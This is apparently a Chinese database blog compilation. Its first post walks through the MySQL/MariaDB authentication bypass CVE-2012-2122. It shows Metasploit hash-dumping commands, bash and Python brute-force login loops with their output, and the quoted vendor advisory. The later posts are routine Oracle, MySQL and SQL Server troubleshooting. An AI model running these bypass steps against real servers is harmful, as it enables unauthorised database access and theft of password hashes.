Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。受影响的产品:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.网上已经出了metasploit版本的相应利用工具,下载地址利用方法如下:
$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes…
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
测试方法2:
$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
测试方法3:
#!/usr/bin/python
import subprocess

while 1:
subprocess.Popen(“mysql -u root mysql –password=blah”, shell=True).wait()
如下:
relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.

mysql>

转自http://www.freebuf.com/vuls/3815.html

提出漏洞的原文如下:

Security vulnerability in MySQL/MariaDB sql/password.c
From: Sergei Golubchik
Date: Sat, 9 Jun 2012 17:30:38 +0200
Hi

We have recently found a serious security bug in MariaDB and MySQL.
So, here, we’d like to let you know about what the issue and its impact
is. At the end you can find a patch, in case you need to patch an older
unsuported MySQL version.

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

This issue got assigned an id CVE-2012-2122.

Here’s the issue. When a user connects to MariaDB/MySQL, a token (SHA
over a password and a random scramble string) is calculated and compared
with the expected value. Because of incorrect casting, it might’ve
happened that the token and the expected value were considered equal,
even if the memcmp() returned a non-zero value. In this case
MySQL/MariaDB would think that the password is correct, even while it is
not. Because the protocol uses random strings, the probability of
hitting this bug is about 1/256.

Which means, if one knows a user name to connect (and “root” almost
always exists), she can connect using *any* password by repeating
connection attempts. ~300 attempts takes only a fraction of second, so
basically account password protection is as good as nonexistent.
Any client will do, there’s no need for a special libmysqlclient library.

But practically it’s better than it looks – many MySQL/MariaDB builds
are not affected by this bug.

Whether a particular build of MySQL or MariaDB is vulnerable, depends on
how and where it was built. A prerequisite is a memcmp() that can return
an arbitrary integer (outside of -128..127 range). To my knowledge gcc
builtin memcmp is safe, BSD libc memcmp is safe. Linux glibc
sse-optimized memcmp is not safe, but gcc usually uses the inlined
builtin version.

As far as I know, official vendor MySQL and MariaDB binaries are not
vulnerable.

Regards,
Sergei Golubchik
MariaDB Security Coordinator

References:

MariaDB bug report: https://mariadb.atlassian.net/browse/MDEV-212
MariaDB fix: http://bazaar.launchpad.net/~maria-captains/maria/5.1/revision/3144

MySQL bug report: http://bugs.mysql.com/bug.php?id=64884
MySQL fix: http://bazaar.launchpad.net/~mysql/mysql-server/5.1/revision/3560.10.17
MySQL changelog:
http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html
http://dev.mysql.com/doc/refman/5.5/en/news-5-5-24.html

原文地址http://seclists.org/oss-sec/2012/q2/493

mysqldump执行时Got error: 1045

mysqldump执行时Got error: 1045: Access denied for user ‘root’@’localhost’ (using password: YES) when trying to connect

解决办法

登录mysql客户端

mysql -hserverip -uroot -p

mysql> update user set password=password('new password') where user='root';
Query OK, 4 rows affected (0.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

mysql> quit

dmp导入错误解决方法

单位给了一个dmp文件,导入出现约束之类的错误,提示如下:

即将启用约束条件…
IMP-00017: 由于 ORACLE 错误 2298, 以下语句失败:
“ALTER TABLE “PUB_LOGONLOG” ENABLE CONSTRAINT “FK_LOGONLOG_LOG””
IMP-00003: 遇到 ORACLE 错误 2298
ORA-02298: 无法验证 (PUBDATA.FK_LOGONLOG_LOG) – 未找到父项关键字
成功终止导入, 但出现警告。

网上找了资料后,也有这样子的提示的。

IMP-00017: following statement failed with ORACLE error 2298:
“ALTER TABLE “OPERATE_LOG” ENABLE CONSTRAINT REFEREN”
“CE_WDXC_O””
IMP-00003: ORACLE error 2298 encountered
ORA-02298: cannot validate (REFERENCE_O) – parent keys not found
IMP-00017: following statement failed with ORACLE error 2298:
“ALTER TABLE “STORAGE” ENABLE CONSTRAINT “ORDER_STORAGE_O”
“””
IMP-00003: ORACLE error 2298 encountered
ORA-02298: cannot validate STORAGE_O) – parent keys not found
Import terminated successfully with warnings.

也有一些说是这个原因“出现上面的原因有可能是在导出的时间某个表已经被导出了,可是他外键关联系有数据变化了,导致不一致,所以报错。exp不能保证事务的完整性。如果你导出主表。随后有人在主表增加记录,然后在子表增加记录,提交。”

不能鉴定上面说的是否正确,应该也会发生,不过查了很多资料后又发现,应该是imp导出时少了一个参数。所以解决办法是在导出务份的脚本中加入这个参数consistent=y 默认为no .为的是保持一致的作用。

$ exp system/22222 file=/home/oracle/2222.dmp owner=aaa consistent=y

新装oracle连接不上

完全默认安装完oracle后,会出现连接不上服务器的状况,具体也不明白是怎么回事儿,怎么会设计的这么不人性化呢?不过换句话说,应该安全性也会提高很多。因为不折腾用不成啊,呵呵。
最终是用下面的设置,可以连接上数据库。
用户名SYSTEM
初始密码
Service name : orcl

转载两篇网上的文章:

1. Open the “”/network/admin/listener.ora” file in the host,and you will see:
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)
(PROGRAM = extproc)
)
)
2. Add the following lines after the 7th line in the above
(SID_DESC =
(GLOBAL_DBNAME = ORACLE)
(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)
(SID_NAME = ORACLE)
)
3. At last the content of the file become to the following section:
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)
(PROGRAM = extproc)
)
(SID_DESC =
(GLOBAL_DBNAME = ORACLE)
(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)
(SID_NAME = ORACLE)
)
)
4. Save the file and restart the TNSListener service in the host. That’s OK!

造成ORA-12560: TNS: 协议适配器错误的问题的原因有三个:
1.监听服务没有起起来。windows平台个一如下操作:开始—程序—管理工具—服务,打开服务面板,启动oraclehome92TNSlistener服务。
2.database instance没有起起来。windows平台如下操作:开始—程序—管理工具—服务,打开服务面板,启动oracleserviceXXXX,XXXX就是你的database SID.
3.注册表问题。regedit,然后进入HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE\HOME0将该环境变量ORACLE_SID设置为XXXX,XXXX就是你的database SID.或者右几我的电脑,属性–高级–环境变量—系统变量–新建,变量名=oracle_sid,变量值=XXXX,XXXX就是你的database SID.或者进入sqlplus前,在command line下输set oracle_sid=XXXX,XXXX就是你的database SID.

About mysqldump of MySQL 5.5 backup information_schema & performance_schema databases

MySQL 5.5多出了两个新数据库 information_schema &–all-databases–all-databases performance_schema

mysql> show databases;
+——————–+
| Database |
+——————–+
| information_schema |
| mysql |
| performance_schema |
| test |
+——————–+

但是用mysqldump去备份这两个数据库的时候都会报错

mysqldump: Got error: 1044: Access denied for user ‘root’@’localhost’ to database ‘information_schema’ when using LOCK TABLES

mysqldump: Got error: 1142: SELECT,LOCK TABL command denied to user ‘root’@’localhost’ for table ‘cond_instances’ when using LOCK TABLES

用–all-databases备份时也不会备份这两个数据库
官方文档里解释到:
http://dev.mysql.com/doc/refman/5.5/en/mysqldump.html

总结一下,如果一定要用mysqldump去备份这两个数据库不是不可以,但是得disable lock tables。 我用的是:
–database information_schema –lock-tables=0

也可以把所有的数据库都列出在一个文件中,去掉information_schema和performance_schema。

以上内容转自http://www.blogjava.net/miaoyachun/archive/2012/05/11/377894.html

附备份脚本中的相关语句,摘自《猫大的最新版vps备份脚本
例如

/usr/local/mysql/bin/mysql -u$MYSQL_USER -p$MYSQL_PASS -B -N -e 'SHOW DATABASES' | xargs > mysqldata
sed -i 's/information_schema //g' mysqldata
sed -i 's/performance_schema //g' mysqldata
sed -i 's/mysql //g' mysqldata
for db in `cat mysqldata`; do
    (/usr/local/mysql/bin/mysqldump -u$MYSQL_USER -p$MYSQL_PASS --databases ${db}> ${db}.sql)
done

连接失败Sql server错误10061总结

前几天刚装的SQL SERVER 2005用来做,Project Server的后台数据库,今天重启“SQL Server (MSSQLSERVER)”服务时不能启动,提示如下:

本地计算机上的MSSQLSERVER服务启动后又停止了。一些服务自动停止,如果它们没有什么可做的

日志中有如下提示:

2008-01-30 07:51:06.43 服务器 A self-generated certificate was successfully loaded for encryption.
2008-01-30 07:51:06.43 服务器 错误: 17182,严重性: 16,状态: 1。
2008-01-30 07:51:06.43 服务器 TDSSNIClient initialization failed with error 0x7e, status code 0x60.
2008-01-30 07:51:06.43 服务器 错误: 17182,严重性: 16,状态: 1。
2008-01-30 07:51:06.43 服务器 TDSSNIClient initialization failed with error 0x7e, status code 0x1.
2008-01-30 07:51:06.43 服务器 错误: 17826,严重性: 18,状态: 3。
2008-01-30 07:51:06.43 服务器 Could not start the network library because of an internal error in the network library. To determine the cause, review the errors immediately preceding this one in the error log.
2008-01-30 07:51:06.43 服务器 错误: 17120,严重性: 16,状态: 1。
2008-01-30 07:51:06.43 服务器 SQL Server could not spawn FRunCM thread. Check the SQL Server error log and the Windows event logs for information about possible related problems.

重新启动操做系统还是不行,几经周折终于找到了问题所在,是昨天有人把“VIA协议”给启用了,停用“VIA协议”问题解决。

“VIA协议”停用方法:开始->程序->Microsoft SQL Server 2005->配置工具->SQL Server Configuration Manager ->打开后找到”SQL Server 2005 网络配置”->MSSQLSERVER 属性的协议 在右边的属性框中把“VIA协议”禁用即可!

连接失败 Sqlstate :’01000′ Sql server错误:10061 [Microsoft][ODBC Sql Server Driver][TCP/IP Sockets] c
2011-07-20 15:13 737人阅读 评论(1) 收藏 举报
连接失败
Sqlstate :’01000′
Sql server错误:10061
[Microsoft][ODBC Sql Server Driver][TCP/IP Sockets] connectionOpen(Connect())
连接失败:
Sql State:’08001′
Sql Server错误:17
[Microsoft][ODBC Sql Server Driver][TCP/IP Sockets]SQL Server 不存在或访问被拒绝。
解决办法:->
网上有一些常规解决办法我这里就不在重复了,我在实际使用中遇到这个问题 ,参考网上的解决办法都不能实现,后来无意中解决了,现在把解决办法贴出来,很简单的
———————————>
客户端配置—-把“动态决定端口”勾选去掉,手工设置1433端口就 ok 了

1:去掉本系统的防火墙和其它一切防火墙。
2:在客户端执行 telnet 服务器ip 1433,如果提示错误,则sql的缺省端口被禁止-此步骤可忽略
3:查看服务器的安全策略,打开即可。
管理工具-本地的安去策略-ip安全策略-双击新ip安全策略-规则-1433-筛选器操作-允许。即可

错误有以下可能:
a.SQL Server名称或者IP地址拼写有误
b.服务器端网络配置错误
c.客户端网络配置错误

解决步骤:
1.检查网络物理连接
ping 服务器名称 或者 ping 服务器ip地址
===》ping 服务器ip地址失败 :说明物理连接出问题,需要检查硬件设备;需要注意将防火墙关掉,因为它也许会屏蔽你的PING命令
===》ping 服务器ip地址成功 ping 服务器名称失败:说明服务器名称有问题。如果服务器和客户端不在同一局域网内,很可能无法直接使用服务器名称标志服务器。

2.使用Telnet命令检查SQL Server服务器工作状态
Telnet 服务器IP地址 14323(默认端口号)
===>如果有“无法打开连接”的信息,说明你的SQL Server服务没开启,或者你的TCP/IP协议没有启用,或者你的服务器没有在端口1433上监听

3.检查服务器端的网络配置,看是否启用命名管道,是否启用TCP/IP协议
这个可以在不同版本的SQL Server自带的工具管理器里找到,比如2000是服务器网络使用工具 2008是SQL Server配置管理器

4.检查客户端的网络配置,查看使用的协议
一般需要启用命名管道;

win7下添加ODBC数据源

可以通过使用 ODBC 管理器、以编程方式(通过使用 SQLConfigDataSource)或通过创建文件,添加数据源。

使用 ODBC 管理器添加数据源
从“控制面板”中,访问“管理工具”,再访问“数据源 (ODBC)”。或者,可以调用 odbcad32.exe。

单击“用户 DSN”、“系统 DSN”或“文件 DSN”选项卡,然后单击“添加”。

单击“SQL Server”,然后单击“完成”。

完成创建到 SQL Server 的新数据源向导中的步骤。

以编程方式添加数据源
调用 SQLConfigDataSource 并且将第二个参数设置为 ODBC_ADD_DSN 或 ODBC_ADD_SYS_DSN。

添加文件数据源
通过连接字符串中的 SAVEFILE=file_name 参数调用 SQLDriverConnect。如果连接成功,则 ODBC 驱动程序将使用 SAVEFILE 参数指向的位置中的连接参数创建一个文件数据源。

关于时间值的数据库存储-time()

PHP的time方法

